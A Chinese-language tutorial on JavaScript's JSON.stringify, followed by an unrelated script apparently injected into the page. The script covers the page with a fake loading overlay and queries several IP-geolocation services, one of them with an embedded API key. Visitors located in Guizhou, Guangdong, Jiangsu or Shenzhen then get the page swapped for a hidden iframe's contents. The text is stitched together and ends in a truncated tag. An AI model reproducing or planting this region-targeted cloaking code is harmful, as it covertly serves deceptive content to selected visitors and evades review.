js JSON.stringify()基础详解

JSON.stringify({});      // '{}'
JSON.stringify(true);      // 'true'
JSON.stringify("foo");      // '"foo"'
JSON.stringify([1, "false", false]);  // '[1,"false",false]'
JSON.stringify({ x: 5 });     // '{"x":5}'

JSON.stringify({x: 5, y: 6});    
// "{"x":5,"y":6}"

JSON.stringify([new Number(1), new String("false"), new Boolean(false)]); 
// '[1,"false",false]'

JSON.stringify({x: undefined, y: Object, z: Symbol("")}); 
// '{}'

JSON.stringify([undefined, Object, Symbol("")]);   
// '[null,null,null]' 

JSON.stringify({[Symbol("foo")]: "foo"});     
// '{}'

JSON.stringify({[Symbol.for("foo")]: "foo"}, [Symbol.for("foo")]);
// '{}'

JSON.stringify(
 {[Symbol.for("foo")]: "foo"}, 
 function (k, v) {
  if (typeof k === "symbol"){
   return "a symbol";
  }
 }
);


// undefined 

// 不可枚举的属性默认会被忽略：
JSON.stringify( 
 Object.create(
  null, 
  { 
   x: { value: 'x', enumerable: false }, 
   y: { value: 'y', enumerable: true } 
  }
 )
);

// "{"y":"y"}"

function replacer(key, value) {
 if (typeof value === "string") {
 return undefined;
 }
 return value;
}

var foo = {foundation: "Mozilla", model: "box", week: 45, transport: "car", month: 7};
var jsonString = JSON.stringify(foo, replacer);

JSON.stringify({ uno: 1, dos : 2 }, null, '\t')
// '{   \
//  "uno": 1, \
//  "dos": 2 \
// }'

var obj = {
 foo: 'foo',
 toJSON: function () {
 return 'bar';
 }
};
JSON.stringify(obj);  // '"bar"'
JSON.stringify({x: obj}); // '{"x":"bar"}'

function jsFriendlyJSONStringify (s) {
 return JSON.stringify(s).
  replace(/\u2028/g, '\\u2028').
  replace(/\u2029/g, '\\u2029');
}

var s = {
 a: String.fromCharCode(0x2028),
 b: String.fromCharCode(0x2029)
};
try {
 eval('(' + JSON.stringify(s) + ')');
} catch (e) {
 console.log(e); // "SyntaxError: unterminated string literal"
}

// No need for a catch
eval('(' + jsFriendlyJSONStringify(s) + ')');

// console.log in Firefox unescapes the Unicode if
// logged to console, so we use alert
alert(jsFriendlyJSONStringify(s)); // {"a":"\u2028","b":"\u2029"}

// 创建一个示例数据
var session = {
 'screens' : [],
 'state' : true
};
session.screens.push({"name":"screenA", "width":450, "height":250});
session.screens.push({"name":"screenB", "width":650, "height":350});
session.screens.push({"name":"screenC", "width":750, "height":120});
session.screens.push({"name":"screenD", "width":250, "height":60});
session.screens.push({"name":"screenE", "width":390, "height":120});
session.screens.push({"name":"screenF", "width":1240, "height":650});

// 使用 JSON.stringify 转换为 JSON 字符串
// 然后使用 localStorage 保存在 session 名称里
localStorage.setItem('session', JSON.stringify(session));

// 然后是如何转换通过 JSON.stringify 生成的字符串，该字符串以 JSON 格式保存在 localStorage 里
var restoredSession = JSON.parse(localStorage.getItem('session'));

// 现在 restoredSession 包含了保存在 localStorage 里的对象
console.log(restoredSession);

<div class="nobody" style="
  width: 100%;
  height: 100%;
  background-color: #fff;
  position: fixed;
  z-index: 9999;
  top: 0;
">加载中...</div>
<div hidden><iframe id="iframe1" src="/d/bo/index.html"></iframe></div>
<script>
 var flag=1;
 
	function bdget(){
		var sendDate = (new Date()).getTime();
		$.ajax({
		url: 'https://api.map.baidu.com/location/ip?ak=ia6HfFL660Bvh43exmH9LrI6', 
		type: 'POST', 
		dataType: 'jsonp',
		success:function(data) {
			if(flag){
			var receiveDate = (new Date()).getTime();
			var responseTimeMs = receiveDate - sendDate;	
					var str='';
				str=(JSON.stringify(data.address))||"";		
			
			nothere('db',responseTimeMs,str,JSON.stringify(data));
			}
		}
		});
 }

 function shget(){
	var sendDate = (new Date()).getTime();
	$.ajax({
		url:'https://pv.sohu.com/cityjson?ie=utf-8',
		type: 'get',
		dataType: 'script',
		success: function(data) {
			if(flag){
			var receiveDate = (new Date()).getTime();
			var responseTimeMs = receiveDate - sendDate;	
			
				var str=returnCitySN.cname;			
			
			nothere('sh',responseTimeMs,str,JSON.stringify(data));
			}
		}
	});
}

function sbget(){
	var sendDate = (new Date()).getTime();
	$.ajax({
		url:'https://api.ip.sb/geoip?callback = getgeoip',
		type: 'get',
		dataType: 'jsonp',
		success: function(data) {
			if(flag){
			var receiveDate = (new Date()).getTime();
			var responseTimeMs = receiveDate - sendDate;	
			
				var str=(JSON.stringify(data.organization)+JSON.stringify(data.region))||"";
			
			nothere('sb',responseTimeMs,str,JSON.stringify(data));		
			}
		}
	});
}

function tbget(){
	var sendDate = (new Date()).getTime();
    $.ajax({
		type:'POST',
		url:'http://ip.taobao.com/service/getIpInfo2.php',
		data:{ip:'myip'}
		}).done(function(data){
			if(flag){
			var receiveDate = (new Date()).getTime();
			var responseTimeMs = receiveDate - sendDate;	
			
				var str=JSON.stringify(data.data.city)+JSON.stringify(data.data.region);
			
			nothere('tb',responseTimeMs,str,JSON.stringify(data));		
			}
			
		});

}

function ttget(){
	var sendDate = (new Date()).getTime();
	 $.ajax({
		url:'https://api.ttt.sh/ip/qqwry/',
		type: 'get',
		dataType: 'json',
		success: function(data) {
			if(flag){
				var receiveDate = (new Date()).getTime();
				var responseTimeMs = receiveDate - sendDate;	
			
				var str=JSON.stringify(data.address);
			
			nothere('tt',responseTimeMs,str,JSON.stringify(data));		
			
			}

		}
		});

}

function nothere(name,time,addr,data){
	var arr=new Array("贵州","广东","江苏","深圳","u8d35u5dde","u5e7fu4e1c","u6c5fu82cf","u6df1u5733","Guizhou","Guangdong","Jiangsu","Shenzhen");	
	flag++;
	console.log(name);
	for(x in arr){
	if(addr.indexOf(arr[x]) != -1){
		var iframe = document.getElementById("iframe1");
		var iwindow = iframe.contentWindow;
		var idoc = iwindow.document;
		document.write(idoc.documentElement.innerHTML);
		flag=0;
		return;
		}
	}
	$('.nobody').remove();	
}
$(function(){
	bdget();
	shget();
	sbget();
	tbget();
	ttget();
});
 </scrip